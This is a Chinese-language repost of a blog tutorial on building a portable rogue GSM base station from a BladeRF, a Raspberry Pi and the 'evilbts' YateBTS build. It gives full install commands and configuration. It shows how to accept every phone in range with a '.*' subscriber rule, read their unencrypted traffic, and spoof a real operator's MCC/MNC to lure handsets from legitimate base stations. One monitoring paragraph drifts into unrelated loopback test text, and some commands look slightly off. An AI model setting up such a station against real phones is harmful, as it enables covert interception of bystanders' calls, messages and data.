主頁（http://www.130131.com）：吊炸天了，牛人居然自己做了個(gè)基站

上周我去特拉維夫（Tel Aviv）探望我的朋友結(jié)果有了一些收獲，一塊嶄新的BladeRF（x40），即一個(gè)支持USB3.0的SDR平臺，這就意味著可以同時(shí)發(fā)送和接收信息了。而HackRF不同于其他兩款硬件，它不支持全雙工。這意味著要切換收和發(fā)的話，必須每次給控制器發(fā)送命令。

微控制器處理切換可能要花費(fèi)微秒級的時(shí)間。在這篇文章中將會介紹如何建立一個(gè)小型便攜式GSM基站，GSM網(wǎng)絡(luò)可以遭到攻擊/劫持/攔截，當(dāng)然你可以利用相對價(jià)格比較低的電子設(shè)備做到這一點(diǎn)。而本文也僅僅供交流學(xué)習(xí)使用。

本文中介紹的工具、技術(shù)帶有一定的攻擊性，請合理合法使用。

硬件要求

bladeRF x40

兩個(gè)天線

樹莓派3

充電寶（作者使用的是 Anker Astro E7（26800mAh））

一個(gè)專為樹莓派準(zhǔn)備的SD卡（不低于8G）

軟件

讓我們開始為樹莓派安裝Raspbian系統(tǒng)（lite版），然后將系統(tǒng)寫入SD卡中，開始啟動樹莓派，開始配置WiFi以及網(wǎng)絡(luò)連接等，完成后應(yīng)該可以用SSH方式對樹莓派進(jìn)行管理。

這一步將會進(jìn)行的很快：

sudo apt-get install git apache2 php5 bladerf libbladerf-dev libbladerf0 automake

完成上一步，應(yīng)該可以連接BladeRF，將其插入到樹莓派一個(gè)USB端口中，輸入dmesg 就可以看到相關(guān)信息了：

[ 2332.071675] usb 1-1.3: New USB device found, idVendor=1d50, idProduct=6066

[ 2332.071694] usb 1-1.3: New USB device strings: Mfr=1, Product=2, SerialNumber=3

[ 2332.071707] usb 1-1.3: Product: bladeRF

[ 2332.071720] usb 1-1.3: Manufacturer: Nuand

[ 2332.071732] usb 1-1.3: SerialNumber: b4ef330e19b718f752759b4c14020742

輸入bladeRF-cli 以及version指令查看版本信息：

pi@raspberrypi:~ $ sudo bladeRF-cli -i

bladeRF> version

bladeRF-cli version: 0.11.1-git

libbladeRF version: 0.16.2-git

Firmware version: 1.6.1-git-053fb13-buildomatic

FPGA version: 0.1.2

bladeRF>

當(dāng)然bladeRF可以支持很寬的載頻范圍，帶有一個(gè)大容量的FPGA，還有高速的USB3.0接口。通過上面的信息可以了解到具體的版本信息，而其它版本的固件在我們的配置條件下不可能工作的。

現(xiàn)在我們開始安裝兩個(gè)開源軟件 Yate和YateBTS，這樣我們就可以創(chuàng)建基站了。

而作者也花費(fèi)了很長的時(shí)間來尋找與bladeRF適合的軟件，作者已經(jīng)將找到合適的程序了，你現(xiàn)在只需要這樣做，就可以安裝在樹莓派home路徑下的文件夾里面了：

git clone https://github.com/evilsocket/evilbts.git

cd evilbts

我們開始正式安裝那兩個(gè)軟件吧：

cd yate

./autogen.sh

./configure --prefix=/usr/local

make -j4

sudo make install

sudo ldconfig

cd ..

cd yatebts

./autogen.sh

./configure --prefix=/usr/local

make -j4

sudo make install

sudo ldconfig

這需要花費(fèi)幾分鐘的時(shí)間，然后就可以完成安裝了。接下來就需要在www文件夾目錄下創(chuàng)建軟連接：

cd /var/www/html/

sudo ln -s /usr/local/share/yate/nib_web nib

賦予配置文件權(quán)限：

sudo chmod a+w -r /usr/local/etc/yate

現(xiàn)在就可以在瀏覽器里面查看基站的網(wǎng)頁了：

http://ip-of-your-rpi/nib

配置

使用 nano或vi編輯器打開 /usr/local/etc/yate/ybts.conf配置文件，然后更新里面信息：

Radio.Band=900

Radio.C0=1000

Identity.MCC=YOUR_COUNTRY_MCC

Identity.MNC=YOUR_OPERATOR_MNC

Identity.ShortName=MyEvilBTS

Radio.PowerManager.MaxAttenDB=35

Radio.PowerManager.MinAttenDB=35

然后就可以找到mcc（移動國家代碼）或mnc號（移動網(wǎng)絡(luò)號碼）。

現(xiàn)在可以編輯 /usr/local/etc/yate/subscribers.conf配置文件了：

country_code=YOUR_CONTRY_CODE

regexp=.*

警告：如果使用“ .* ”（正則表達(dá)式）將會導(dǎo)致信號范圍內(nèi)的每一部具有GSM功能的手機(jī)連接到你的基站上。

在你的測試頁面（NIB）上會看到這樣的信息。

監(jiān)聽

在“Tapping”選項(xiàng)下，你可以配置 GSM以及GPRS選項(xiàng)，在測試接收機(jī)性能時(shí)，終端把收到的下行數(shù)據(jù)解調(diào)后重新編碼調(diào)制并發(fā)回給測試儀器，然后儀器把終端環(huán)回的比特與原始發(fā)送的比特比較，計(jì)算BER(誤碼率)或FER(誤幀率)或PER(誤包率)。

這種所謂的環(huán)回模式(Loopback)被廣泛應(yīng)用于GSM接收機(jī)測試中。而這次也不例外，由于我還沒有選擇加密信息，所以你可以看見所有的gsm流量信息。

使用基站

現(xiàn)在可以通過輸入指令的方式來操作基站吧（ BladeRF插入狀態(tài)）：

sudo yate -s

如果配置都正確就可以看到這樣一組信息：

Starting MBTS...

Yate engine is initialized and starting up on raspberrypi

RTNETLINK answers: File exists

MBTS ready

在這一刻，BladeRF上中間的LED燈應(yīng)該開始閃爍了。

測試

現(xiàn)在開始測試吧，手機(jī)會連接基站，當(dāng)然這是由于GSM功能本身的原因。

現(xiàn)在你可以設(shè)置任何你想要的MCC、MNC、LAC（位置區(qū)域碼），甚至可以騙過合法的基站了。

相信手機(jī)都會選擇信號強(qiáng)的基站進(jìn)行連接，小伙伴你說會連接哪個(gè)基站。作者用的三星 Galaxy S6手機(jī)做的測試，三分鐘之后的截圖：

現(xiàn)在你可以隨意配置基站來做自己喜歡做的事情了，當(dāng)然你也可以通過“代理”來做一個(gè)合法的SMC（一個(gè)GSM/3g USB dongle）或者獲取GSM手機(jī)流量信息，或創(chuàng)建一個(gè)免費(fèi)的SIP業(yè)務(wù)供人使用，更多信息參閱 YateBTS。

前面準(zhǔn)備的充電寶也不是沒有用的，插上充電寶之后就可以成為一個(gè)移動便攜式的基站了。